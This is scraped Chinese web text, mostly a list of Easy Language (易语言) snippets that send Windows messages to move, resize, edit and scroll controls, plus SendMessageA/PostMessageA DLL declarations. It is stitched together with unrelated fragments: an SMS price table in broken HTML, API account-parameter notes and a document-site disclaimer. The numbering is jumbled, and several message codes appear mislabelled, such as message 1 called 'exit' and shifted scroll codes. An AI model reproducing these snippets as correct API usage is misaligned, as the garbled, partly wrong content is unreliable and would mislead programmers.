<td>100元=1111条=0.90毛钱/条</td><td>300元=3529条=0.85毛钱/条</td>
</tr>
<tr>
<td>500元=6250条=0.80毛钱/条</td> <td>800元=10666条=0.75毛钱/条</td>
</tr参数说明:
'1、 username:是企业在平台上分配的企业帐号。
'2、 passwd:对应于username的密码(EC帐号密码)。
易语言代码大全
1.信息框(“”)
双引号内填你想出现的文字,点击按钮即可出现信息框,上有你想出现的文字。
2.编辑框1.内容=“”
在双引号内输入文字,点击按钮即可在编辑框内出现你所输入的文字。
3.判断开始(组合框1.现行选中项=0)
编辑框3.内容=到文本(到数值(编辑框1.内容) +到数值(编辑框2.内容)) .判断(组合框1.现行选中项=1)
编辑框3.内容=到文本(到数值(编辑框1.内容) -到数值(编辑框2.内容)) .判断(组合框1.现行选中项=2)
编辑框3.内容=到文本(到数值(编辑框1.内容) ×到数值(编辑框2.内容)) .判断(组合框1.现行选中项=3)
编辑框3.内容=到文本(到数值(编辑框1.内容) ÷到数值(编辑框2.内容))
4.
Loading效果
5.
快速打开程序的易程序代码。
6.
快速刷新网站易程序代码
7.
一个简易的定义运算的代码。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
1.移动控件
控件.发送信息(274, 61458, 0)
控件.发送信息(161, 2, 0)
2.调整控件尺寸
调整左边:
控件.发送信息(274, 61441, 0)
调整右边:
控件.发送信息(274, 61442, 0)
调整顶边:
控件.发送信息(274, 61443, 0)
左上角调整:
控件.发送信息(274, 61444, 0)
右上角调整:
控件.发送信息(274, 61445, 0)
调整底部:
控件.发送信息(274, 61446, 0)
左下角调整:
控件.发送信息(274, 61447, 0)
右下角调整:
控件.发送信息(274, 61448, 0)
3.控件最大化
控件.发送信息(274, 61488, 0)
4.控件最小化
控件.发送信息(274, 61473, 0)
5.鼠标带问号(再次单击问号消失)发送信息(274, 61836, 0)
6.关闭控件
控件.发送信息(16, 0, 0)
7.单击鼠标左键
控件.发送信息(513, 0, 0)
8.清除窗口标题
控件.发送信息(12, 0, 0)
9.复制
编辑框.发送信息(769, 0, 0)
10.粘帖
编辑框.发送信息(770, 0, 0)
11.全选
编辑框.发送信息(177, 0, -1)
12.清空内容
编辑框.发送信息(12, 1, 0)
13.按钮单击
发送消息(发送按钮句柄, 245, 0, 0) 14.删除
控件.发送信息(768, 0, 0)
15.剪切
控件.发送信息(771, 0, 0)
16.撤销
控件.发送信息(772, 0, 0)
17.退出
控件.发送信息(1,0,0)
18.获得焦点
控件.发送信息(7,0,0)
19.失去焦点
控件.发送信息(8,0,0)
20.结束
控件.发送信息(25,0,0)
21.单击鼠标右键
控件.发送信息(123, 0, 0)
22.取消全选
编辑框.发送信息(177, 0, 0)
23.发送文本(DLL命令。
可直接复制到易语言)
---------------------------------
.版本2
.DLL命令发送文本消息, 整数型, , "SendMessageA"
.参数窗口句柄, 整数型
.参数标识, 整数型
.参数消息1, 整数型
.参数消息2, 文本型
调用方法:发送文本消息(句柄,194,1,“文本内容”)
14.发送按键消息(DLL命令。
可直接复制到易语言)
----------------------------------
.版本2
.DLL命令按键消息, , , "PostMessageA", , 向指定窗口句柄发送按键消息.参数句柄, 整数型
.参数参数, 整数型
.参数键代码, 整数型
.参数参数, 整数型
调用方法:按键消息(句柄,258,键代码,0)
--------------------------------------
编辑框1.发送信息(#WM_VSCROLL, 0, 0)'向上滚动一行
编辑框1.发送信息(#WM_VSCROLL, 1, 0)'向下滚动一行
编辑框1.发送信息(#WM_VSCROLL, 2, 0)'向上滚动到头
编辑框1.发送信息(#WM_VSCROLL, 3, 0)'向下滚动到尾
编辑框1.发送信息(#WM_HSCROLL, 1, 0)'向左滚动一行
编辑框1.发送信息(#WM_HSCROLL, 2, 0)'向右滚动一行
编辑框1.发送信息(#WM_HSCROLL, 3, 0)'向左滚动到头
编辑框1.发送信息(#WM_HSCROLL, 4, 0)'向右滚动到尾
.常量WM_HSCROLL, "276", , 当一个窗口标准水平滚动条产生一个滚动事件时发送此消息给那个窗口,也发送给拥有它的控件
.常量WM_VSCROLL, "277", , 当一个窗口标准垂直滚动条产生一个滚动事件时发送此消息给那个窗口也,发送给拥有它的控件。